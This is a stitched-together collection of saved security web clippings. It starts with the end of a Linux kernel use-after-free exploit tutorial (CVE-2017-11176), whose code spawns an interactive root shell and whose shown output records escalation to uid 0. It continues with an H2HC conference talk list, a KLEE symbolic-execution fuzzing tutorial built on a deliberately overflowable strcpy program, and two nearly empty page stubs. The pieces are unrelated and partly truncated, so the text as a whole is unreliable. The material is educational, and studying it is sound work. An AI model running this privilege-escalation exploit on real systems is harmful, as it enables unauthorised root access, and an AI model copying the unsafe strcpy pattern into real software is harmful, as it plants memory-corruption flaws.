    {
      // ... cut ...
    
      printf("[+] exploit complete!\n");
    
      printf("[ ] popping shell now!\n");
        char* shell = "/bin/bash";
        char* args[] = {shell, "-i", NULL};
        execve(shell, args, NULL);
    
      return 0;
    
    fail:
      printf("[-] exploit failed!\n");
      PRESS_KEY();
      return -1;
    }
    
[/code]

Which gives:

[code]

    [user@localhost tmp]$ id; ./exploit
    uid=1000(user) gid=1000(user) groups=1000(user)
    [ ] -={ CVE-2017-11176 Exploit }=-
    [+] successfully migrated to CPU#0
    ...
    [+] arbitrary call succeed!
    [+] exploit complete!
    [ ] popping shell now!
    [root@localhost tmp]# id
    uid=0(root) gid=0(root) groups=0(root)
    
[/code]

Now we are really done\! Remember, you have **ring-0 arbitrary code
execution** this is "more privileged" than "root". Use it wisely, and have fun
:-\)\!

* * *
# Conclusion

**Congratulations, you made it\!**

First, I would like to thank you for getting to that point. Writing your first
kernel exploit is a daunting task that discourages most people. It requires to
understand a lot of stuff at once, patience and pugnacity.

Furthermore, we kinda made it the "hard way" \(no show off\) by exploiting a
_use-after-free_ \(a memory corruption bug\). You might find shorter exploit
that only have small amount of code \(some have fewer than 10 lines\!\). Those
exploit "logical bug" which is considered by some to be the best class of bug
\(targetless, reliable, fast, etc.\). Nevertheless, they can be very specific
and might not expose as many subsystems as we've seen here.

_Use-after-free_ are still pretty common at the time of writing \(2018\). They
can be more or less hard to detect by fuzzer or manual code review. In
particular, the bug we exploited here existed because of **a single missing
line**. In addition, it is only triggered during a _race condition_ which
makes it even harder to detect.

During this series, we barely scratched the surface of the following Linux
kernel subsystems \(from makelinux.net\):

<img src='img/Temp2_4913.png' width='888' height='662' />

Hopefully, you are now more familiar with the terms written there. As you can
see, this is still a long road... :-\)

Alright, let's sum up what we've done.

In part 1, we introduced the basics of the "virtual file system" \(what is a
file? a FDT? VFT?\) as well as the refcounting facility. By studying public
information \(CVE description, patch\) we got a better understanding of the
bug and designed an attack scenario. Then, we implemented it in kernel-land
using SystemTap \(a very handy tool\!\).

In part 2, we introduced the "scheduler subsystem" and more specifically the
"wait queues". Understanding it allowed us to unconditionally win the race
condition. By doing a meticulous analysis of several kernel code paths, we
were able to tailor our syscalls and build the _proof-of-concept_ with
userland code. It provoked our first kernel crashes.

In part 3, we introduced the "memory subsystem" and focus on the SLAB
allocator, a must have to exploit most use-after-free and/or heap overflow
bugs. After analysing in deeper details all information required to exploit
the UAF, we found a way to gain an arbitrary call primitive by using type
confusion and make the netlink socket's wait queue pointing into userland. In
addition, we implemented the reallocation using a well-known reallocation
gadget: ancillary data buffer.

In this final part, we saw a lot of "low-level" and "architecture-dependent"
things relative to x86-64 \(kernel stacks, virtual memory layout,
thread\_info\). In order to gain arbitrary code execution we hit a hardware
security feature: SMEP. Understanding the x86-64 access rights determination,
as well as page fault exception traces, we designed an exploitation strategy
to bypass it \(disable it with ROP-chains\).

Gaining the arbitrary execution was only part of the success as we still
needed to repair the kernel. While repairing the socket dangling pointer was
pretty straightforward, repairing the hash list brought several difficulties
that we overcame by having a good understanding of the netlink code \(data
structures, algorithms, procfs\). In the end, we got a root shell by calling
only two kernel functions and analyzed the exploit weaknesses \(reliability\).

* * *
# Going Further

What to do next?

If you want to improve this exploit, there are still plenty of stuff to do.
For instance, can you re-enable SMEP with ROP, and more interestingly, without
ROP \(play with the PTEs, map executable code into kernel land, etc.\). You
may want to add another reallocation gadget in your toolbox, have a look at
_msgsnd\(\)_ and find a way to drastically improve the reallocation success
rate. A more challenging exercise could be to gain arbitrary code execution
without using any ROP \(remember, you can change _func_ and call it as many
times as you want\).

Now, consider there is SMAP on your target, can we still exploit the bug this
way? If not, what to do? Maybe the arbitrary call primitive is not the good
one... Sooner or later you will understand that gaining arbitrary read/write
is actually much better as it allows to bypass almost any security protection.

If you want to move on, pick another CVE and try to do the same job that we
did here. Understand the bug, code the PoC, build the exploit. Never trust the
CVE description that qualifies a bug as a DoS and/or have a "low/moderate"
criticity. Really, developing CVE exploits is a good way to understand the
Linux kernel as they will just not work if you don't understand what is going
on.

Once you're more confident, you may want to start looking for "unrevealed"
bugs. One might say, there is "always" a 0-day hiding behind each 1-day. The
reason being that a CVE exposes a "pattern". In general, the bug is corrected
in one place but exists in other places.

For instance, the pattern here is that _netlink\_attachskb\(\)_ has a "side-
effect" on the sock's refcounter in the "retry logic". Because of this, it
implies that developers using it carefully do not decrement it a second time.
This is error-prone. Can you find other places where the same "retry logic" is
used \(be it netlink or not\)?

As a final note, I wish you a warm welcome into the kernel hacking world. I
hope you enjoyed this series, learned a lot and want to learn even more\!
Thanks for reading.

_"Salut, et merci pour le poisson \!"_

# H2HC 7th Edition

**Created:**| _10/17/2010 8:03:45 PM_  
---|---  
**Updated:**| _10/17/2010 8:04:17 PM_  
**Author:**| __  
**Tags:**| _bookmark conference-material_  
  

REPOSITÓRIO

Palestras H2HC Sixth Edition - 2009

TALK TITLE |  BR |  ENG |  ES |  VIDEO  
---|---|---|---|---  
Abusing bitmask  
Nicolas Waisman |  |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Anti Anti Forense: Correlacao  
Tony Rodrigues |  <img src='img/Temp2_3543.gif' width='20' height='22' /> |  |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Breaking the perimeter through human stupidity  
Bruno Oliveira |  |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Bruteforcing HD Encryption Systems  
Jonathan Brossard |  |  <img src='img/Temp2_3545.gif' width='20' height='22' /> |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Ciber Terrorismo, Hacktivismo religioso  
Paulo Roizman |  <img src='img/Temp2_3543.gif' width='20' height='22' /> |  |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Kernel Do Windows: Historia, Evolucao e Debug  
Weber Ress |  |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Life Cycle of a Snort Rule: From Vulnerability to Coverage  
Alex Kirk |  |  <img src='img/Temp2_3543.gif' width='20' height='22' /> |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Netifera platform demo  
Juliano Rizzo |  |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Playing Web Fuzzer  
Wagner Elias |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Privacidade na era da internet  
Anderson Ramos |  <img src='img/Temp2_3543.gif' width='20' height='22' /> |  |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Probabilistic Attack Planning in Network + WebApps Scenarios  
Carlos Sarraute |  |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Ring 0x64  
Gustavo Scotti |  |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Taint Analysis  
Edgar Barbosa |  |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
The Reverse Engineering Intermediate Language REIL and its Applications  
Sebastian Porst |  |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
The departed: exploit next generation. The philosophy.  
Nelson Brito |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Token Kidnapping's Revenge  
Cesar Cerrudo |  |  <img src='img/Temp2_3543.gif' width='20' height='22' /> |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Toward the HLR, attacking the SS7 & SIGTRAN applications one step further and
mapping the phone system  
Philippe Langlois |  |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
w3af. A framework to own the web  
Andres Riancho |  |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
  

  
Palestras H2HC Fifth Edition - 2008

PALESTRA |  BR |  ENG |  Video  
---|---|---|---  
PCI Rootkits  
Bruno Cardoso Lopes / João Batista Correa |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Hypervisor Framework  
Edgar Barbosa |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Analise de Seguranca do Protocolo Wireless USB  
Felipe Zimmerle |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  |   
evilgrade, "You have pending upgrades..."  
Francisco Amato |  |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Raising GPRS Security Awareness by Observing Real World Security Events  
Guto Motta |  <img src='img/Temp2_3543.gif' width='20' height='22' /> |  |   
Practical \(Introduction to\) Reverse Engineering  
Julio Auto |  <img src='img/Temp2_3543.gif' width='20' height='22' /> |  |   
Apology of 0days  
Nicolas Waisman |  |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Defeating DEP, the Immunity Debugger way  
Pablo Sole |  |  <img src='img/Temp2_3543.gif' width='20' height='22' /> |   
Hack into Samba  
Rodrigo Costa |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Onde estão as ferramentas de segurança do Brasil?  
Ronaldo Vasconcelos |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Secure the Planet\! New Strategic Initiatives from Microsoft to Rock Your
World  
Steve Adegbite |  |  <img src='img/Temp2_3543.gif' width='20' height='22' /> |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Extreme Web Hacking  
Wagner Elias |  <img src='img/Temp2_3543.gif' width='20' height='22' /> |  |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
Playing with Web Application Firewalls  
Wendel G. Henrique / Sandro Gauci |  |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  <img src='img/Temp2_3544.gif' width='20' height='22' />  
  
Palestras H2HC Fourth Edition - 2007

PALESTRA |  BR |  ENG  
---|---|---  
Call for papers The Bug Magazine  
The Bug Magazine Staff |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |   
Capture the flag - Results  
Intruders Tiger Team |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |   
Hacking well-protected databases  
Alexander Kornbrust |  |  <img src='img/Temp2_3542.gif' width='20' height='22' />  
Detecting Blue Pill  
Edgar Barbosa |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |   
The Computer Forensics Challenge and Anti-forensics Techniques  
Domingo Montanaro |  |  <img src='img/Temp2_3542.gif' width='20' height='22' />  
Hacking iPod Touch/iPhone  
Marcos Azevedo |  |  <img src='img/Temp2_3542.gif' width='20' height='22' />  
Malwares x AntiVirus  
Wendel Guglielmetti Henrique |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |   
Next-Generation Debuggers for Reverse Engineering  
Julio Auto - Member of ERESI Team |  |  <img src='img/Temp2_3542.gif' width='20' height='22' />  
DNS Amplification Attack  
Bruno Goncalves de Oliveira |  <img src='img/Temp2_3543.gif' width='20' height='22' /> |   
PE Binary Infection  
Maycon Maia Vitali |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |   
Hack into apache  
Rodrigo Carvalho Costa |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |   
REST Insecurity  
Wagner Elias |  <img src='img/Temp2_3543.gif' width='20' height='22' /> |   
Hacking the big brother  
Joao Batista Moreira & Julio Cesar Fort |  |  <img src='img/Temp2_3542.gif' width='20' height='22' />  
KIDS - Kernel Intrusion Detection System  
Rodrigo Rubira Branco \(BSDaemon\) |  |  <img src='img/Temp2_3542.gif' width='20' height='22' />  
  
Palestras H2HC Third Edition - 2006

PALESTRA |  BR |  ENG  
---|---|---  
Syscall Proxying || Pivoting  
Rodrigo Rubira Branco \(BSDaemon\) / Filipe Balestra |  |  <img src='img/Temp2_3542.gif' width='20' height='22' />  
Process Infection  
Carlos Barros |  <img src='img/Temp2_3545.gif' width='22' height='22' /> |   
Windows Driver Development Kit \(Driver exploitation\)  
Rodrigo Carvalho Costa \(Nibble\) |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |   
Lock picking  
Eduardo Madeira Fleury / Artur Duque de Souza |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |   
Introducao a Engenharia Reversa  
Maycon Maia Vitali |  <img src='img/Temp2_3543.gif' width='20' height='22' /> |   
VOIP Insecurity  
Luiz Eduardo |  |  <img src='img/Temp2_3542.gif' width='20' height='22' />  
Polutin sys\_execve  
Federico Kirschbaum |  |  <img src='img/Temp2_3543.gif' width='20' height='22' />  
Old School Hacking  
Julio Cesar Fort |  <img src='img/Temp2_3543.gif' width='20' height='22' /> |   
Inseguranca em Web 2.0 e Pen-test em Aplicações Web  
Wagner Elias e Thiago Zaninotti - N-Stalker |  |   
Hostile Wireless Ambients  
Luiz Eduardo |  |  <img src='img/Temp2_3542.gif' width='20' height='22' />  
Rootkits kernel 2.6  
Julio Auto |  <img src='img/Temp2_3543.gif' width='20' height='22' /><img src='img/Temp2_3541.gif' width='20' height='22' /> |   
Bricando com IPS: Uma maneira mais simples de contorná-los  
Anônimo |  |   
Shellcode Evolution  
Itzik Kotler |  |  <img src='img/Temp2_3543.gif' width='20' height='22' />  
Palestras H2HC Second Edition - 2005

PALESTRA |  BR |  ENG  
---|---|---  
Fun With Assembly  
Everson da Silva Tavares \(IP\_FIX\) |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |   
Backdoors x Firewalls de Aplicação: Praticando em Kernel Linux  
Rodrigo Rubira Branco \(BSDaemon\)  
|  <img src='img/Temp2_3542.gif' width='20' height='22' /> |   
Discovering Vulnerabilities  
Rodrigo Carvalho Costa \(Nibble\) |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |   
Breaking PaX ASLR in the Wild  
Tiago Assumpção |  <img src='img/Temp2_3543.gif' width='20' height='22' /> |   
Anti-Forensics  
Domingo Montanaro | <img src='img/Temp2_3542.gif' width='20' height='22' /> |   
Dog\_Crawler x PHP\_GUARD do Saumil Shah  
Bruno Luiz Cordeiro Ramos  
|  <img src='img/Temp2_3543.gif' width='20' height='22' /> |   
Linux Kernel Exploiting  
Glaudson Ocampos \(Nash Leon\)  
Wendel Guglielmetti Henrique \(dum\_dum\) |  <img src='img/Temp2_3544.gif' width='30' height='28' /> |   
Vulnerabilidades em aplicações bluetooth  
Nelson Murilo |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |   
Windows DLL instrumentation + feedback fuzzing + code breaking  
Joachim de Zutter \(Byte Rage\) |  |  <img src='img/Temp2_3544.gif' width='30' height='28' />  
Hacktivismo  
Fernanda Serpa | Sem material | Sem material  
  
Palestras H2HC First Edition - 2004

PALESTRA |  BR |  ENG  
---|---|---  
Ataques em redes Wi-Fi  
Nelson Murilo de Oliveira Rufino |  <img src='img/Temp2_3544.gif' width='30' height='28' /> |  <img src='img/Temp2_3544.gif' width='30' height='28' />  
Detecção e ataques a HoneyPots  
Felix Alvez Coutinho Júnior \(Skynet45\)  
|  <img src='img/Temp2_3544.gif' width='30' height='28' /> |  <img src='img/Temp2_3544.gif' width='30' height='28' />  
OSSTMM - Open Source Security Testing Methodology Manual  
Eduardo Jorge Feres Serrano Neves |  <img src='img/Temp2_3542.gif' width='20' height='22' /> |  <img src='img/Temp2_3542.gif' width='20' height='22' />  
Cryptography and Clusters  
Rodrigo Carvalho Costa \(Nibble\) |  <img src='img/Temp2_3542.gif' width='20' height='22' /> <img src='img/Temp2_3542.gif' width='20' height='22' /> |   
Assinaturas de Ataques: Como Livrar-se Delas  
Rodrigo Rubira Branco \(BSDaemon\) |  <img src='img/Temp2_3544.gif' width='30' height='28' /> |  <img src='img/Temp2_3544.gif' width='30' height='28' />

# Dimitri Fourny | Fuzzing via symbolic execution
**Created:**| _8/24/2014 7:56:21 PM_  
---|---  
**Updated:**| _8/24/2014 7:56:21 PM_  
**Author:**| __  
**Tags:**| _symbolic exec fuzzing_  
  

#

# Fuzzing via symbolic execution

##

## Introduction

The symbolic execution is a technique to make an abstract interpretation of a
program. In this article, we will see a short introduction. To understand how
it works, we will see an example:

?  
|  1 2 3 4 5 6 7 8 9 10 11|  |  ` ``int` ` ``a = `` ``rand`` ``();` ` ``int` ` ``b = 2;` ` ``b += a*2;` ` ``b++;` ` ``if` ` ``(b == 13) {` ` `` `` ``printf`` ``(`` ``"Good job!"`` ``);` ` ``} `` ``else` ` ``{` ` `` `` ``printf`` ``(`` ``"Hahaha... no!"`` ``);` ` ``}`  
---|---|---|---  
For a symbolic fuzzer, we will need to look into all paths possibles: here,
the symbolic fuzzer will need to enter in the ` ``if` and in the ` ``else`. To
do it, he will try to calculate the value of ` ``b` in the two context:

?  
|  1 2 3 4 5|  |  ` ``if` ` ``(2+X*2+1 == 13) {` ` `` `` ``printf`` ``(`` ``"Good job!"`` ``);` ` ``} `` ``else` ` ``{` ` `` `` ``printf`` ``(`` ``"Hahaha... no!"`` ``);` ` ``}`  
---|---|---|---  
After that, he will use a  constraint solver to solve ` ``2+X*2+1 == 13`.
Finally he will conclude that we have two paths: ` ``X = (13-2-1)/2 = 5` and `
``X != 5`.

##

## Tools

KLEE and this dependencies.

#

# Our software

##

## Base

?  
|  1 2 3 4 5 6 7 8 9 10 11 12 13 14|  |  ` ``#include <stdlib.h>` ` ``int` ` ``main(`` ``int` ` ``argc, `` ``char`` ``* argv[]) {` ` `` `` ``char` ` ``str1[255];` ` `` `` ``char` ` ``str2[1024];` ` `` `` ``if` ` ``(str2[18] == `` ``'-'`` ``) {` ` `` `` ``strcpy`` ``(str1, str2);` ` `` `` ``} `` ``else` ` ``{` ` `` `` ``strcpy`` ``(str2, str1);` ` `` `` ``}` ` `` `` ``return` ` ``0;` ` ``}`  
---|---|---|---  
To found this vulnerability with a dumb fuzzing \(bruteforce\), good luck\!
Now, we will modify our source code to use KLEE:

##

## New source code

?  
|  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20|  |  ` ``#include <stdlib.h>` ` ``#include <klee/klee.h>` ` ``int` ` ``main(`` ``int` ` ``argc, `` ``char`` ``* argv[]) {` ` `` `` ``char` ` ``str1[255];` ` `` `` ``char` ` ``str2[1024];` ` `` `` ``klee_make_symbolic(str1, `` ``sizeof`` ``(str1), `` ``"str1"`` ``);` ` `` `` ``klee_assume(str1[254] == `` ``'\0'`` ``);` ` `` `` ``klee_make_symbolic(str2, `` ``sizeof`` ``(str2), `` ``"str2"`` ``); ` ` `` `` ``klee_assume(str2[1023] == `` ``'\0'`` ``);` ` `` `` ``if` ` ``(str2[18] == `` ``'-'`` ``) {` ` `` `` ``strcpy`` ``(str1, str2);` ` `` `` ``} `` ``else` ` ``{` ` `` `` ``strcpy`` ``(str2, str1);` ` `` `` ``}` ` `` `` ``return` ` ``0;` ` ``}`  
---|---|---|---  
` ``klee_make_symbolic` need a pointer on the variable that we want
manipulate, its size and its name \(for the fuzzing rapport\). `
``klee_assume` is usefull to add some constraint on the variable, here we need
a null character at the end of string.

#

# Fuzzing

Compile the source code:

[code]

     
[/code]

[code]

    $ /opt/llvm-gcc4.2-2.9-x86_64-linux/bin/llvm-gcc -I /opt/klee/include --emit-llvm -c -g main.c
    main.c: In function ‘main’:
    main.c:14: warning: incompatible implicit declaration of built-in function ‘strcpy’
    main.c:16: warning: incompatible implicit declaration of built-in function ‘strcpy’
[/code]

The warning is not a problem, because we will use ******uclibc** :

[code]

     
[/code]

[code]

    $ /opt/klee/Release+Asserts/bin/klee --libc=uclibc --posix-runtime -output-dir=output  main.o
    KLEE: NOTE: Using klee-uclibc : /opt/klee/Release+Asserts/lib/klee-uclibc.bca
    KLEE: NOTE: Using model: /opt/klee/Release+Asserts/lib/libkleeRuntimePOSIX.bca
    KLEE: output directory is "/home/dimitri/projets/symbolic/output"
    KLEE: WARNING: undefined reference to function: __xstat64
    KLEE: WARNING: undefined reference to function: fwrite
    KLEE: WARNING: undefined reference to function: lseek64
    KLEE: WARNING ONCE: calling external: syscall(16, 0, 21505, 35399184)
    KLEE: WARNING ONCE: calling __user_main with extra arguments.
    KLEE: WARNING ONCE: calling external: __xstat64(1, 35312336, 35431888)
    KLEE: ERROR: /home/dimitri/Downloads/klee-uclibc/libc/string/strcpy.c:27: memory error: out of bound pointer
    KLEE: NOTE: now ignoring this error at this location
    
    KLEE: done: total instructions = 56390
    KLEE: done: completed paths = 510
    KLEE: done: generated tests = 510
    
[/code]

Nice \! Nice because we have found a ` ``memory error: out of bound pointer`.
To know what test are generated an error, we need to search a log file:

[code]

     
[/code]

[code]

    $ ls -la ./output/ | grep --color err
    -rw-r--r-- 1 dimitri users       0 26 juin  11:46 test000500.ptr.err
    
[/code]

Hmm, let's see the datas used by the test number 500:

[code]

     
[/code]

[code]

    $ /opt/klee/Release+Asserts/bin/ktest-tool --write-ints ./output/test000500.ktest 
    ktest file : './output/test000500.ktest'
    args       : ['main.o']
    num objects: 3
    object    0: name: b'model_version'
    object    0: size: 4
    object    0: data: 1
    object    1: name: b'str1'
    object    1: size: 255
    object    1: data: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    object    2: name: b'str2'
    object    2: size: 1024
    object    2: data: b'\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01-\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    
    
[/code]

Tada\! As we have seen, the symbolic execution is a good fuzzing method when
we have the source code of the application.

# Understanding the Low Fragmentation Heap

**Created:**| _8/13/2010 11:44:16 AM_  
---|---  
**Updated:**| _8/13/2010 11:44:46 AM_  
**Author:**| __  
**Tags:**| _windows security Exploit conference-material Heap_  
  
<img src='img/Temp2_8712' />

# ldesegur/nodejs-android - GitHub

**Created:**| _10/24/2011 11:25:20 AM_  
---|---  
**Updated:**| _10/24/2011 11:25:20 AM_  
**Author:**| __  
